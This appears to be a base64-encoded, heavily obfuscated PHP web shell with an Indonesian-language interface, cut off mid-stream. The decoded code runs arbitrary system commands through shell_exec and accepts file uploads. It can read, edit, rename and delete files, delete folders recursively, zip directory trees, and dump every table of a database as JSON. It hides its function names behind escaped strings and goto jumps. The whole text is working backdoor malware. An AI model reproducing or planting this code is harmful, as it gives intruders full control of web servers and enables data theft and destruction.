PiAiXDEyM1x4NDVcMTI0XHgyMFwxMTZcMTAxXHg0ZFx4NDVceDUzXHgyMFw0N1x4NzVcMTY0XDE0Nlw3MFw0NyIpKTsgJHBkby0+c2V0QXR0cmlidXRlKFBETzo6QVRUUl9ERUZBVUxUX0ZFVENIX01PREUsIFBETzo6RkVUQ0hfQVNTT0MpOyAkYWxsRGF0YSA9IGFycmF5KCk7ICR0YWJsZXMgPSAkcGRvLT5wcmVwYXJlKCJcMTIzXHg0NVx4NGNcMTA1XDEwM1x4NTRceDIwXDE2NFwxNDFcMTQyXHg2Y1x4NjVcMTM3XHg2ZVx4NjFcMTU1XDE0NVx4MjBceDY2XDE2Mlx4NmZceDZkXHgyMFx4NjlceDZlXHg2NlwxNTdcMTYyXHg2ZFwxNDFceDc0XHg2OVwxNTdceDZlXDEzN1wxNjNcMTQzXHg2OFx4NjVcMTU1XDE0MVw1NlwxNjRcMTQxXHg2Mlx4NmNceDY1XHg3M1w0MFx4NzdcMTUwXDE0NVx4NzJcMTQ1XDQwXHg3NFx4NjFceDYyXDE1NFwxNDVcMTM3XDE2M1x4NjNceDY4XDE0NVwxNTVceDYxXDc1XDc3Iik7ICR0YWJsZXMtPmV4ZWN1dGUoYXJyYXkoJGRhdGFiYXNlKSk7ICR0YWJsZXMgPSAkdGFibGVzLT5mZXRjaEFsbCgpOyBmb3JlYWNoICgkdGFibGVzIGFzICR0YWJsZU5hbWUpIHsgJHRhYmxlTmFtZSA9ICR0YWJsZU5hbWVbIlx4NzRceDYxXHg2Mlx4NmNceDY1XDEzN1wxNTZcMTQxXHg2ZFwxNDUiXTsgJGRhdGEgPSAkcGRvLT5xdWVyeSgiXHg1M1x4NDVceDRjXHg0NVx4NDNceDU0XHgyMFw1Mlx4MjBceDQ2XDEyMlx4NGZcMTE1XDQwXHg2MCIgLiAkdGFibGVOYW1lIC4gIlwxNDAiKTsgJGRhdGEgPSAkZGF0YS0+ZmV0Y2hBbGwoKTsgJGFsbERhdGFbJHRhYmxlTmFtZV0gPSAkZGF0YSA/IGFycmF5KCRkYXRhKSA6IGFycmF5KCk7IH0gaGVhZGVyKCJcMTAzXHg2ZlwxNTZceDc0XDE0NVwxNTZcMTY0XDU1XHg2NFx4NjlceDczXDE2MFwxNTdcMTYzXHg2OVx4NzRcMTUxXDE1N1x4NmVceDNhXHgyMFx4NjFcMTY0XHg3NFx4NjFceDYzXDE1MFwxNTVcMTQ1XDE1Nlx4NzRceDNiXHgyMFx4NjZceDY5XDE1NFx4NjVcMTU2XHg2MVwxNTVceDY1XHgzZFwxNDRcMTM3XHg2Mlx4NWYiIC4gYmFzZW5hbWUoaHRtbHNwZWNpYWxjaGFycygkZGF0YWJhc2UpKSAuICJceDJlXDE1MlwxNjNceDZmXHg2ZSIpOyBoZWFkZXIoIlwxMDNceDZmXHg2ZVwxNjRceDY1XDE1Nlx4NzRcNTVceDc0XHg3OVx4NzBceDY1XDcyXHgyMFwxNDFcMTYwXDE2MFwxNTRceDY5XHg2M1wxNDFcMTY0XDE1MVwxNTdceDZlXHgyZlx4NmFcMTYzXDE1N1x4NmUiKTsgZWNobyBqc29uX2VuY29kZSh1dGY4aXplKCRhbGxEYXRhKSk7IH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgeyBwcmludCAkZS0+Z2V0TWVzc2FnZSgpOyB9IH0gZWxzZSB7IHByaW50ICJcMTA1XHg3MlwxNjJceDZmXHg3Mlw0MVx4MjBceDUwXHg2Y1x4NjVceDYxXHg3M1wxNDVceDIwXHg2M1x4NmZcMTU2XDE1NlwxNDVcMTQzXHg3NFx4MjBcMTY0XHg2Zlw0MFwxMjNcMTIxXHg0Y1w0MSI7IH0gZGllOyB9IGVsc2UgeyBpZiAoJGF3YWwgPT0gIlwxNTNcMTU3XHg2ZFx4NzBcMTYyXDE0NVx4NzMiICYmIGlzc2V0KCRfUE9TVFsiXHg3M1x4NjFceDc2XDE0NVx4NWZceDc0XDE1NyJdLCAkX1BPU1RbIlwxNzJceDY2Il0pICYmIGlzX3N0cmluZygkX1BPU1RbIlwxNjNceDYxXDE2NlwxNDVcMTM3XHg3NFx4NmYiXSkgJiYgIWVtcHR5KCRfUE9TVFsiXHg3M1wxNDFceDc2XHg2NVx4NWZceDc0XDE1NyJdKSAmJiAhaW5fYXJyYXkoJF9QT1NUWyJceDczXDE0MVwxNjZcMTQ1XHg1Zlx4NzRcMTU3Il0sIGFycmF5KCJcNTYiLCAiXHgyZVw1NiIsICJcNTZceDJmIiwgIlx4MmVcNTZceDJmIikpICYmIGlzX3N0cmluZygkX1BPU1RbIlwxNzJceDY2Il0pICYmICFlbXB0eSgkX1BPU1RbIlwxNzJcMTQ2Il0pKSB7ICRzYXZlX3RvID0gdXJhaWthbih1cmxkZWNvZGUoJF9QT1NUWyJceDczXHg2MVx4NzZceDY1XHg1ZlwxNjRceDZmIl0pKTsgJHJvb3RQYXRoID0gcmVhbHBhdGgodXJhaWthbih1cmxkZWNvZGUoJF9QT1NUWyJcMTcyXHg2NiJdKSkpOyAkZmlsZU5hbWUxID0gIlx4NjJcMTQxXHg2YlwxMzciIC4gbWljcm90aW1lKDEpIC4gIlx4NWYiIC4gcmFuZCgxMDAwLCA5OTk5OSkgLiAiXHgyZVwxNzJcMTUxXDE2MCI7ICRmaWxlTmFtZSA9ICRzYXZlX3RvIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlTmFtZTE7IGlmIChpc19kaXIoJHNhdmVfdG8pICYmIGlzX2Rpcigkcm9vdFBhdGgpICYmIGlzX3dyaXRhYmxlKCRzYXZlX3RvKSkgeyBzZXRfdGltZV9saW1pdCgwKTsgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7ICR6aXAtPm9wZW4oJGZpbGVOYW1lLCBaaXBBcmNoaXZlOjpDUkVBVEUgfCBaaXBBcmNoaXZlOjpPVkVSV1JJVEUpOyAkZmlsZXMgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJHJvb3RQYXRoKSwgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6TEVBVkVTX09OTFkpOyBmb3JlYWNoICgkZmlsZXMgYXMgJG5hbWUgPT4gJGZpbGUpIHsgaWYgKCEkZmlsZS0+aXNEaXIoKSkgeyAkZmlsZVBhdGggPSAkZmlsZS0+Z2V0UmVhbFBhdGgoKTsgJHJlbGF0aXZlUGF0aCA9IHN1YnN0cigkZmlsZVBhdGgsIHN0cmxlbigkcm9vdFBhdGgpICsgMSk7ICR6aXAtPmFkZEZpbGUoJGZpbGVQYXRoLCAkcmVsYXRpdmVQYXRoKTsgfSB9ICR6aXAtPmNsb3NlKCk7IHByaW50ICJcMTIzXHg2MVwxNjZceDY1XDE0NFx4MjFcNzRcMTUwXHg3Mlx4M2UiOyB9IGVsc2UgeyBwcmludCAiXHg0NFx4NjlcMTYyXHgyMFx4NjlceDczXDQwXHg2ZVx4NmZcMTY0XHgyMFx4NzdcMTYyXDE1MVx4NzRcMTQ1XHg2MVwxNDJcMTU0XHg2NVx4MjFceDNjXDE1MFwxNjJceDNlIjsgdmFyX2R1bXAoJHNhdmVfdG8pOyB9IH0gZWxzZSB7IGlmICgkYXdhbCA9PSAiXHg2OFwxNDFcMTYwXDE2NVwxNjNcMTM3XHg2Nlx4NmZceDZjXHg2NFx4NjVcMTYyIiAmJiBpc3NldCgkX1BPU1RbIlx4N2FceDY2Il0pICYmIGlzX3N0cmluZygkX1BPU1RbIlwxNzJcMTQ2Il0pICYmICFlbXB0eSgkX1BPU1RbIlwxNzJcMTQ2Il0pKSB7ICRyb290UGF0aCA9IHJlYWxwYXRoKHVyYWlrYW4odXJsZGVjb2RlKCRfUE9TVFsiXDE3Mlx4NjYiXSkpKTsgaWYgKGlzX2Rpcigkcm9vdFBhdGgpKSB7IHNldF90aW1lX2xpbWl0KDApOyBycm1kaXIoJHJvb3RQYXRoKTsgfSBlbHNlIHsgcHJpbnQgIlwxMDRceDY5XDE2Mlw0MFx4NjlceDczXDQwXHg2ZVx4NmZceDc0XHgyMFwxNjdceDcyXHg2OVwxNjRcMTQ1XHg2MVx4NjJceDZjXHg2NVw0MVw3NFx4NjhcMTYyXDc2IjsgdmFyX2R1bXAoJHNhdmVfdG8pOyB9IH0gZWxzZSB7IGlmICgkYXdhbCA9PSAiXDE2NVx4NzBcMTU0XHg1Zlx4NjZceDY5XHg2Y1x4NjUiICYmIGlzc2V0KCRfRklMRVNbIlx4NzVcMTQ2XHg2OVwxNTRcMTQ1Il0pKSB7IG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJceDc1XDE0NlwxNTFcMTU0XDE0NSJdWyJceDc0XHg2ZFwxNjBceDVmXHg2ZVx4NjFceDZkXHg2NSJdLCAkZGVmYXVsdF9kaXIgLiAiXDU3IiAuICRfRklMRVNbIlx4NzVcMTQ2XHg2OVx4NmNcMTQ1Il1bIlwxNTZceDYxXHg2ZFwxNDUiXSk7IHByaW50ICJceDU0XDE0MVwxNTVcMTYwXHg2MVwxNTNcMTU2XDE3MVx4NjFceDIwXHg3NFx4NjVceDZjXHg2MVwxNTBcNDBceDY0XHg2OVx4NzVceDZlXDE0N1wxNDdcMTQxXHg2OFw1NiI7IH0gfSB9IH0gfSB9IH0gfSB9IH0gfSB9IGdvdG8gcGREaEw7IGl1THZhOiBlY2hvIHVybGVuY29kZShrdW5jaSgkZGVmYXVsdF9kaXIpKTsgZ290byBaWXQwTzsgZEdpbXM6IGZ1bmN0aW9uIHNpemVGb3JtYXQoJGJ5dGVzKSB7IGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgeyAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwNzM3NDE4MjQsIDIpIC4gIlx4MjBceDQ3XDE0MiI7IH0gZWxzZSB7IGlmICgkYnl0ZXMgPj0gMTA0ODU3NikgeyAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwNDg1NzYsIDIpIC4gIlx4MjBceDRkXHg2MiI7IH0gZWxzZSB7IGlmICgkYnl0ZXMgPj0gMTAyNCkgeyAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gIlw0MFwxMTNcMTQyIjsgfSBlbHNlIHsgJGJ5dGVzID0gJGJ5dGVzIC4gIlx4MjBceDYyIjsgfSB9IH0gcmV0dXJuICRieXRlczsgfSBnb3RvIFoxV3JlOyBmWUJJbjogZnVuY3Rpb24gdXJhaWthbigkc3RyKSB7ICRmID0gIlx4NjJceDYxXDE2MyI7ICRmIC49ICJcMTQ1XDY2IjsgJGYgLj0gIlx4MzRceDVmIjsgJGYgLj0gIlx4NjQiOyAkZiAuPSAiXDE0NVwxNDMiOyAkZiAuPSAiXDE1N1wxNDRcMTQ1IjsgcmV0dXJuICRmKCRzdHIpOyB9IGdvdG8gdlFQQXY7IGRQTXZPOiBpZiAoIWlzc2V0KCRfU0VTU0lPTlsiXDE1NFx4NmZceDY3XDE0N1x4NjVceDY0XHg0OVx4NmUiXSkpIHsgJF9TRVNTSU9OWyJcMTU0XHg2Zlx4NjdceDY3XDE0NVwxNDRceDQ5XHg2ZSJdID0gZmFsc2U7IH0gZ290byBJOUkzTDsgT1VLMGE6IHNlc3Npb25fc3RhcnQoKTsgZ290byBZcDBodTsgZjZEMVk6IHNldF90aW1lX2xpbWl0KDApOyBnb3RvIERnOGJqOyBCMGlkUjogZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkZWZhdWx0X2Rpcik7IGdvdG8gdEkxMTE7IGdrekxwOiBlY2hvIHVybGVuY29kZSh1cmxlbmNvZGUoa3VuY2koJGRlZmF1bHRfZGlyKSkpOyBnb3RvIE9lNGxOOyBEZzhiajogc2Vzc2lvbl9zdGFydCgpOyBnb3RvIGRQTXZPOyBZcDBodTogJG5hbWkgPSBleHBsb2RlKCJcNTQiLCAnJyk7IGdvdG8gTk01alk7IHBBTXhTOiAkYWN0aW9ucyA9IGFycmF5KCJcMTQ0XDE0MVwxNjNcMTQxXDE2MiIsICJcMTQyXDE0MVwxNDNceDYxXHg1Zlx4NjZceDY5XHg2Y1wxNDUiLCAiXDE2MFx4NjhcMTYwXDE1MVx4NmVceDY2XHg2ZiIsICJceDczXDE1MVx4NzNcMTY0XDE0NVx4NmRcMTM3XHg2YlwxNTdcMTU1IiwgIlx4NjVcMTQ0XDE1MVwxNjRceDVmXHg2NlwxNTFceDZjXDE0NSIsICJceDY0XHg2Zlx4NzdceDZlXDE1NFwxNTdceDYxXHg2NFwxMzdceDY2XHg2OVx4NmNcMTQ1IiwgIlx4NjhcMTQxXHg3MFx4NzVcMTYzXHg1ZlwxNDZcMTUxXDE1NFx4NjUiLCAiXDE0Mlx4NzVceDYxXDE2NFwxMzdceDY2XHg2OVwxNTRcMTQ1IiwgIlwxNDJceDc1XHg2MVwxNjRceDVmXHg2NlwxNTdcMTU0XDE0NFx4NjVcMTYyIiwgIlx4NzJceDY1XDE2M1x4NjVceDc0XDEzN1x4NjZcMTUxXHg2Y1x4NjUiLCAiXHg2OFwxNDFceDcwXHg3NVx4NzNceDVmXDE0NlwxNTdceDZjXHg2NFx4NjVcMTYyIiwgIlx4NzJceDY1XHg2ZVx4NjFcMTU1XHg2NVwxMzdcMTQ2XHg2OVx4NmNceDY1IiwgIlx4NmJcMTU3XHg2ZFx4NzBceDcyXHg2NVx4NzMiLCAiXHg3M1x4NmJceDZjIiwgIlwxNjNceDZiXHg2Y1x4NWZcMTQ0XHg1ZlwxNjQiLCAiXDE2M1wxNTNcMTU0XHg1Zlx4NjQiLCAiXHg3NVwxNjBceDZjXDEzN1wxNDZcMTUxXDE1NFwxNDUiKTsgZ290byBNeGRYMjsgQTVOTjE6ID8+CiIpOwoJfQp9CmZ1bmN0aW9uIG5ld1BhcGthKCkKewoJdmFyIGdldE5ld05hbWUgPSBwcm9tcHQoJ0ZpbGUgbmFtZTonKTsKCWlmKCBnZXROZXdOYW1lICkKCXsKCQloYWxhbWFuKCI/YXdhbD1idWF0X2ZvbGRlciZhZD0iICsgZ2V0TmV3TmFtZSArICImYmVya2FzPTw/cGhwICBnb3RvIE1WTDNBOyBOZHBxVDogaWYgKGlzc2V0KCRfUE9TVFsiXHg2Mlx4NjVceDcyXHg2YlwxNDFceDczIl0pICYmIGlzX3N0cmluZygkX1BPU1RbIlwxNDJceDY1XDE2MlwxNTNcMTQxXHg3MyJdKSkgeyAkZGVmYXVsdF9kaXIgPSBlbXB0eSgkX1BPU1RbIlx4NjJceDY1XHg3MlwxNTNceDYxXDE2MyJdKSA/IERJUkVDVE9SWV9TRVBBUkFUT1IgOiB1cmFpa2FuKHVybGRlY29kZSh1cmxkZWNvZGUoJF9QT1NUWyJcMTQyXDE0NVx4NzJceDZiXHg2MVwxNjMiXSkpKTsgJGNfaF9kaXJfY29tbSA9ICJceDYzIiAuICJceDY4XHg2NCIgLiAiXHg2OVwxNjIiOyAkY19oX2Rpcl9jb21tKCRkZWZhdWx0X2Rpcik7IH0gZ290byBVRkxrbjsgTDUzWEQ6IGVjaG8gdXJsZW5jb2RlKHVybGVuY29kZShrdW5jaSgkZGVmYXVsdF9kaXIpKSk7IGdvdG8gY2FRazA7IE8yTlRlOiA/PgoiKTsKCX0KfQpmdW5jdGlvbiBzaXN0ZW1Lb20oKQp7Cgl2YXIga29tYW5kYSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbXJfZXRfYXRhc2gnKS52YWx1ZTsKCWlmKCBrb21hbmRhICkKCXsKCQloYWxhbWFuKCI/YXdhbD1zaXN0ZW1fa29tJmtvbT0iICsgYjY0RW5jb2RlVW5pY29kZShrb21hbmRhKSArICImYmVya2FzPTw/cGhwICBnb3RvIHdCRDlsOyBaMVdyZTogZnVuY3Rpb24gdXRmOGl6ZSgkZCkgeyBpZiAoaXNfYXJyYXkoJGQpKSB7IGZvcmVhY2ggKCRkIGFzICRrID0+ICR2KSB7ICRkWyRrXSA9IHV0ZjhpemUoJHYpOyB9IH0gZWxzZSB7IGlmIChpc19zdHJpbmcoJGQpKSB7IHJldHVybiB1dGY4X2VuY29kZSgkZCk7IH0gfSByZXR1cm4gJGQ7IH0gZ290byBVajhJazsgYWdaYm06IGZ1bmN0aW9uIGt1bmNpKCRzdHIpIHsgJGYgPSAiXDE0Mlx4NjFcMTYzIjsgJGYgLj0gIlwxNDVceDM2IjsgJGYgLj0gIlw2NFwxMzciOyAkZiAuPSAiXDE0NSI7ICRmIC49ICJcMTU2XDE0MyI7ICRmIC49ICJceDZmXHg2NFx4NjUiOyByZXR1cm4gJGYoJHN0cik7IH0gZ290byBmWUJJbjsgdlFQQXY6IGZ1bmN0aW9uIGFtYmlsQnVhdCgkdEFkKSB7IGlmIChpc3NldCgkX1NFU1NJT05bJHRBZF0pKSB7IHVuc2V0KCRfU0VTU0lPTlskdEFkXSk7IH0gJGJhcnVBbWJpbCA9IG1kNShrdW5jaSh0aW1lKCkgLiByYW5kKDEsIDk5OTk5OTk5KSkpOyAkX1NFU1NJT05bJHRBZF0gPSAkYmFydUFtYmlsOyByZXR1cm4gJGJhcnVBbWJpbDsgfSBnb3RvIHhLVzdfOyBoUnhPMjogZWNobyB1cmxlbmNvZGUodXJsZW5jb2RlKGt1bmNpKCRkZWZhdWx0X2RpcikpKTsgZ290byBBNU5OMTsgWll0ME86ID8+CiI+Cgk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0idWZpbGUiPgoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlVwbCI+CjwvZm9ybT4KCjxmb3JtIG1ldGhvZD0iUE9TVCIgaWQ9InBvc3RfZm9ybSIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij48L2Zvcm0+CjxzY3JpcHQ+CmZ1bmN0aW9uIGhhbGFtYW4odXJsKQp7Cgl2YXIgaW5wdXRsYXIgPSAiIjsKCXVybCA9IHVybC5zcGxpdCgiPyIpOwoJaWYodHlwZW9mIHVybFsxXT09InVuZGVmaW5lZCIpIHJldHVybjsKCXVybCA9IHVybFsxXS5zcGxpdCgiJiIpOwoJZm9yKHZhciBuIGluIHVybCkKCXsKCQl2YXIga2V5QW5kVmFsdWUgPSB1cmxbbl0uc3BsaXQoIj0iKTsKCQlpZih0eXBlb2Yga2V5QW5kVmFsdWVbMV09PSJ1bmRlZmluZWQiKSBjb250aW51ZTsKCQlpbnB1dGxhcis9IjxpbnB1dCBuYW1lPSciK2tleUFuZFZhbHVlWzBdKyInIHZhbHVlPSciK2tleUFuZFZhbHVlWzFdKyInIHR5cGU9J2hpZGRlbic+IjsKCX0KCWRvY3VtZW50LmFsbCgicG9zdF9mb3JtIikuaW5uZXJIVE1MID0gaW5wdXRsYXI7Cglkb2N1bWVudC5hbGwoInBvc3RfZm9ybSIpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGZheWxTaWwodXJsKQp7CglpZiggY29uZmlybSgnQW5kYSB5YWtpbj8nKSApCgl7CgkJaGFsYW1hbih1cmwpOwoJfQp9CmZ1bmN0aW9uIGZheWxTaWZpcmxhKHVybCkKewoJaWYoIGNvbmZpcm0oJ0FuZGEgeWFraW4/JykgKQoJewoJCWhhbGFtYW4odXJsKTsKCX0KfQpmdW5jdGlvbiBjaGFuZ2VGaWxlTmFtZShuYW1lLCB1cmwpCnsKCXZhciBnZXROZXdOYW1lID0gcHJvbXB0KCdDaGFuZ2UgZmlsZSBuYW1lOicgLCBuYW1lKTsKCWlmKCBnZXROZXdOYW1lICkKCXsKCQloYWxhbWFuKHVybCArICImbmV3X25hbWU9IiArIGdldE5ld05hbWUpOwoJfQp9CmZ1bmN0aW9uIG5ld0ZpbGUoKQp7Cgl2YXIgZ2V0TmV3TmFtZSA9IHByb21wdCgnRmlsZSBuYW1lOicpOwoJaWYoIGdldE5ld05hbWUgKQoJewoJCWhhbGFtYW4oIj9hd2FsPWJ1YXRfZmlsZSZhZD0iICsgZ2V0TmV3TmFtZSArICImYmVya2FzPTw/cGhwICBnb3RvIGhSeE8yOyBNeGRYMjogJGF3YWwgPSBpc3NldCgkX1BPU1RbIlwxNDFceDc3XHg2MVwxNTQiXSkgJiYgaW5fYXJyYXkoJF9QT1NUWyJceDYxXHg3N1wxNDFcMTU0Il0sICRhY3Rpb25zKSA/ICRfUE9TVFsiXHg2MVwxNjdceDYxXHg2YyJdIDogIlx4NjRceDYxXDE2M1wxNDFcMTYyIjsgZ290byBhZ1pibTsgd0JEOWw6IGVjaG8gdXJsZW5jb2RlKHVybGVuY29kZShrdW5jaSgkZGVmYXVsdF9kaXIpKSk7IGdvdG8gQzdwYUk7IFRPX0NWOiBpZiAoJGF3YWwgPT0gIlx4NzBcMTUwXHg3MFx4NjlcMTU2XDE0NlwxNTciKSB7IHByaW50ICJcNzRcMTQ0XHg2OVwxNjZceDIwXHg3M1wxNjRcMTcxXHg2Y1wxNDVceDNkXHgyN1wxNjdceDY5XHg2NFwxNjRceDY4XHgzYVx4MjBcNjFcNjBceDMwXHgyNVw3M1w0MFwxNTBceDY1XHg2OVwxNDdcMTUwXHg3NFw3Mlw0MFw2NFw2MFx4MzBcMTYwXDE3MFx4M2JceDI3XHgzZVx4M2NcMTUxXHg2NlwxNjJceDYxXHg2ZFx4NjVceDIwXHg3M1x4NzJcMTQzXDc1XHgyN1w3N1x4NjFceDc3XDE0MVwxNTRceDNkXDE2MFwxNTFceDZlXDE0Nlw0N1w0MFwxNjNceDc0XDE3MVx4NmNceDY1XHgzZFw0N1x4NzdcMTUxXDE0NFx4NzRcMTUwXDcyXHgyMFw2MVw2MFw2MFw0NVx4M2JcNDBcMTUwXDE0NVx4NjlceDY3XDE1MFx4NzRcNzJceDIwXHgzNFw2MFw2MFx4NzBcMTcwXDczXHgyMFwxNDJcMTU3XDE2MlwxNDRceDY1XDE2Mlx4M2FcNDBceDMwXHgzYlx4MjdceDNlXHgzY1w1N1wxNTFceDY2XHg3MlwxNDFceDZkXHg2NVx4M2VceDNjXDU3XDE0NFx4NjlceDc2XDc2IjsgfSBlbHNlIHsgaWYgKCRhd2FsID09ICJcMTYzXHg2OVx4NzNceDc0XHg2NVwxNTVcMTM3XHg2Ylx4NmZcMTU1IikgeyBpZiAoaXNzZXQoJF9QT1NUWyJceDZiXHg2ZlwxNTUiXSkgJiYgaXNfc3RyaW5nKCRfUE9TVFsiXDE1M1wxNTdcMTU1Il0pICYmICFlbXB0eSgkX1BPU1RbIlwxNTNceDZmXHg2ZCJdKSkgeyAka29tYW5kYSA9IHVyYWlrYW4odXJsZGVjb2RlKCRfUE9TVFsiXHg2YlwxNTdceDZkIl0pKTsgJGsgPSAiXDE2M1x4NjgiOyAkayAuPSAiXDE0NVx4NmMiOyAkayAuPSAiXDE1NFwxMzdcMTQ1IjsgJGsgLj0gIlwxNzBceDY1IjsgJGsgLj0gIlx4NjMiOyAkb3V0cHV0ID0gJGsoJGtvbWFuZGEpOyBwcmludCAiXDc0XDE2MFwxNjJcMTQ1XDQwXDE2M1wxNjRcMTcxXDE1NFwxNDVcNzVceDIyXHg2ZFwxNDFcMTcwXDU1XHg2OFwxNDVcMTUxXDE0N1x4NjhceDc0XDcyXDQwXHgzM1x4MzVceDMwXHg3MFwxNzBceDNiXDE1N1x4NzZceDY1XHg3Mlx4NjZceDZjXHg2Zlx4NzdceDNhXHgyMFwxNDFcMTY1XHg3NFwxNTdcNzNcNDBceDYyXDE1N1wxNjJcMTQ0XDE0NVwxNjJcNzJcNDBceDMxXHg3MFx4NzhceDIwXDE2M1x4NmZcMTU0XHg2OVx4NjRcNDBceDIzXHgzN1w2N1w2N1x4M2JcNDBceDcwXHg2MVx4NjRcMTQ0XHg2OVwxNTZcMTQ3XDcyXHgyMFx4MzVcMTYwXHg3OFx4M2JcNDJcNzYiIC4gaHRtbHNwZWNpYWxjaGFycygkb3V0cHV0KSAuICJcNzRceDJmXHg3MFwxNjJcMTQ1XHgzZVw3NFwxNTBcMTYyXHgzZSI7IH0gcHJpbnQgIlx4M2NcMTUxXHg2ZVx4NzBceDc1XDE2NFx4MjBcMTY0XHg3OVx4NzBceDY1XHgzZFw0Mlx4NzRceDY1XDE3MFx4NzRceDIyXHgyMFwxNTFceDY0XDc1XHgyMlwxNDVcMTU1XDE2MlwxMzdcMTQ1XHg3NFwxMzdcMTQxXHg3NFwxNDFceDczXHg2OFw0Mlw0MFwxNjNcMTY0XHg3OVx4NmNceDY1XDc1XHgyMlx4NzdcMTUxXDE0NFx4NzRcMTUwXHgzYVw0MFx4MzVceDMwXDYwXHg3MFwxNzBcNzNcNDJceDNlXHgyMFx4M2NceDYyXHg3NVwxNjRceDc0XDE1N1wxNTZceDIwXDE2NFwxNzFcMTYwXHg2NVx4M2RceDIyXDE0MlwxNjVcMTY0XDE2NFwxNTdcMTU2XHgyMlw0MFx4NjNcMTU0XHg2MVwxNjNceDczXDc1XDQyXHg2Mlx4NzRceDZlXDQyXHgyMFwxNTdcMTU2XHg2M1x4NmNcMTUxXDE0M1wxNTNcNzVceDIyXHg3M1x4NjlcMTYzXHg3NFwxNDVceDZkXHg0YlwxNTdceDZkXDUwXDUxXHgzYlx4MjJceDNlXHg0NVwxNTZcMTY0XDE0NVx4NzJceDNjXHgyZlx4NjJcMTY1XHg3NFx4NzRceDZmXDE1Nlx4M2UiOyB9IGVsc2UgeyBpZiAoJGF3YWwgPT0gIlx4NjJcMTQxXHg2M1wxNDFceDVmXHg2NlwxNTFceDZjXHg2NSIgJiYgaXNzZXQoJF9QT1NUWyJcMTQ2XDE0MVx4NzlceDZjIl0pICYmICcnICE9IHRyaW0oJF9QT1NUWyJceDY2XHg2MVwxNzFceDZjIl0pKSB7ICRuYW1hQmVya2FzID0gYmFzZW5hbWUodXJhaWthbih1cmxkZWNvZGUoJF9QT1NUWyJcMTQ2XHg2MVwxNzFcMTU0Il0pKSk7ICRwZW1pc2FoID0gc3Vic3RyKCRkZWZhdWx0X2Rpciwgc3RybGVuKCRkZWZhdWx0X2RpcikgLSAxKSAhPSAiXDU3IiAmJiBzdWJzdHIoJG5hbWFCZXJrYXMsIDAsIDEpICE9ICJceDJmIiA/ICJceDJmIiA6ICcnOyBpZiAoaXNfZmlsZSgkZGVmYXVsdF9kaXIgLiAkcGVtaXNhaCAuICRuYW1hQmVya2FzKSAmJiBpc19yZWFkYWJsZSgkZGVmYXVsdF9kaXIgLiAkcGVtaXNhaCAuICRuYW1hQmVya2FzKSkgeyAkZWxhdmVCdG4gPSBpc193cml0ZWFibGUoJGRlZmF1bHRfZGlyIC4gJHBlbWlzYWggLiAkbmFtYUJlcmthcykgPyAiXDQwXDE1N1x4NmVcMTQzXHg2Y1wxNTFcMTQzXDE1M1w3NVx4MjdcMTUwXDE0MVwxNTRcMTQxXHg2ZFwxNDFceDZlXHgyOFw0Mlw3N1wxNDFcMTY3XDE0MVx4NmNcNzVceDY1XHg2NFwxNTFceDc0XDEzN1wxNDZceDY5XDE1NFx4NjVcNDZcMTQ2XHg2MVwxNzFcMTU0XDc1IiAuIHVybGVuY29kZSh1cmxlbmNvZGUoa3VuY2koJG5hbWFCZXJrYXMpKSkgLiAiXDQ2XHg2MlwxNDVcMTYyXDE1M1wxNDFceDczXDc1IiAuIHVybGVuY29kZSh1cmxlbmNvZGUoa3VuY2koJGRlZmF1bHRfZGlyKSkpIC4gIlx4MjJcNTFcNDciIDogIlw0MFx4NjRcMTUxXHg3M1x4NjFcMTQyXDE1NFx4NjVcMTQ0IjsgcHJpbnQgIlx4M2NcMTQ0XHg2OVx4NzZcNzZcMTE2XDE0MVx4NmRcMTQxXHgyMFwxMDZceDY5XDE1NFx4NjVceDNhXDQwXDc0XDE2M1wxNjBcMTQxXHg2ZVw0MFx4NjNceDZjXHg2MVx4NzNceDczXDc1XHgyN1wxNjFceDYxXHg2Y1x4NjlceDZlXHgyN1x4M2UiIC4gaHRtbHNwZWNpYWxjaGFycygkbmFtYUJlcmthcykgLiAiXDc0XDU3XHg3M1x4NzBceDYxXDE1Nlx4M2VcNzRcMTQyXDE2Mlw1N1x4M2VceDNjXHg2Mlx4NzVcMTY0XDE2NFwxNTdcMTU2XHgyMFwxNDNcMTU0XHg2MVx4NzNceDczXDc1XHgyN1x4NjJceDc0XDE1Nlx4Mjd7JGVsYXZlQnRufVw3Nlx4MjBcMTA1XHg2NFwxNTFcMTY0XDQwXDc0XHgyZlwxNDJcMTY1XHg3NFwxNjRceDZmXHg2ZVx4M2VceDNjXHgyZlx4NjRcMTUxXHg3Nlw3NiI7IHByaW50ICJceDNjXHg2NFx4NjlceDc2XDQwXHg2M1wxNTRcMTQxXHg3M1x4NzNcNzVcNDdcMTQyXDE0MVwxNDNceDYxXHg1Zlx4NjZceDY5XHg2Y1x4NjVceDI3XHgzZSIgLiBoaWdobGlnaHRfc3RyaW5nKGZpbGVfZ2V0X2NvbnRlbnRzKCRkZWZhdWx0X2RpciAuICRwZW1pc2FoIC4gJG5hbWFCZXJrYXMpLCB0cnVlKSAuICJcNzRceDJmXHg2NFx4NjlceDc2XHgzZSI7IH0gfSBlbHNlIHsgaWYgKCRhd2FsID09ICJceDczXHg2Ylx4NmMiKSB7ICRob3N0ID0gaXNzZXQoJF9DT09LSUVbIlx4NjhceDZmXDE2M1wxNjQiXSkgPyAkX0NPT0tJRVsiXDE1MFx4NmZceDczXDE2NCJdIDogJyc7ICR1c2VyID0gaXNzZXQoJF9DT09LSUVbIlx4NzVcMTYzXHg2NVx4NzIiXSkgPyAkX0NPT0tJRVsiXDE2NVwxNjNceDY1XDE2Mi